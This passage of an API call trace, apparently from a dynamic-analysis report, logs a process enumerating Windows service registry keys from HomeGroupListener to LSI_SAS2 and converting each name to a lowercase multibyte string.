WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x84, lpName=0x1c829e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x85, lpName=0x1c829e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1c946d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0029.302] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x86, lpName=0x1c829e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x87, lpName=0x1c829e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x1c946d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x88, lpName=0x1c829e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x89, lpName=0x1c829e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8a, lpName=0x1c829e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8b, lpName=0x1c829e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8c, lpName=0x1c829e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8d, lpName=0x1c829e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0029.303] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8e, lpName=0x1c829e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8f, lpName=0x1c829e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x90, lpName=0x1c829e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x91, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1c946d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x92, lpName=0x1c829e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x1c94450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x93, lpName=0x1c829e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x94, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x95, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0029.304] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x96, lpName=0x1c829e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0029.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x97, lpName=0x1c829e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x98, lpName=0x1c829e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x99, lpName=0x1c829e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9a, lpName=0x1c829e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9b, lpName=0x1c829e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9c, lpName=0x1c829e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9d, lpName=0x1c829e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0029.305] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9e, lpName=0x1c829e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0029.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9f, lpName=0x1c829e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa0, lpName=0x1c829e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1c94450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa1, lpName=0x1c829e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1c946d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa2, lpName=0x1c829e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa3, lpName=0x1c829e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa4, lpName=0x1c829e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa5, lpName=0x1c829e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0029.306] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa7, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa8, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0029.307] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa9, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0029.307] RegEnumKeyW (in: hKey=0x15c, 